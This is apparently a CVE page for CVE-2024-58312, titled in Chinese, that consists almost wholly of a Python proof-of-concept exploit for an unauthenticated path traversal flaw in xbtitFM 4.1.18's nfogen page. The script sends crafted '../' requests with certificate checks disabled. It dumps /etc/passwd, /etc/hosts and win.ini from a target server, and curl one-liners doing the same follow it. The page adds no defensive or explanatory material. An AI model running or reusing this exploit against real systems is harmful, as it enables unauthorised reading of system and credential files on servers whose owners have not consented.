CVE-2024-58312: xbtitFM路径遍历漏洞允许未授权访问系统文件

import requests import urllib.parse # CVE-2024-58312 PoC - Path Traversal in xbtitFM 4.1.18 nfogen.php # Target: xbtitFM <= 4.1.18 # Type: Unauthenticated Path Traversal def exploit_path_traversal(target_url, file_to_read='/etc/passwd'): """ Exploit the path traversal vulnerability in xbtitFM nfogen.php Args: target_url: Base URL of the vulnerable xbtitFM installation file_to_read: Path to the file to read (default: /etc/passwd) Returns: Content of the requested file if exploitation succeeds """ # Encode path traversal sequence traversal = '../' * 6 # Go up multiple directory levels encoded_file = urllib.parse.quote(file_to_read) # Construct the malicious URL # nfogen.php is the vulnerable endpoint exploit_url = f"{target_url}/index.php?page=nfogen&name={traversal}{encoded_file}" print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_to_read}") print(f"[*] Exploit URL: {exploit_url}") try: # Send the malicious request response = requests.get(exploit_url, timeout=10, verify=False) if response.status_code == 200: print(f"[!] Exploitation successful!") print(f"[*] File content:") print(response.text) return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-server.com/xbtitfm" # Read system files files_to_read = [ '/etc/passwd', '/etc/hosts', 'C:\\Windows\\win.ini' # For Windows targets ] for file_path in files_to_read: exploit_path_traversal(target, file_path) print("=" * 50) # Alternative PoC using curl: # curl 'http://target.com/index.php?page=nfogen&name=../../../../etc/passwd' # curl 'http://target.com/index.php?page=nfogen&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'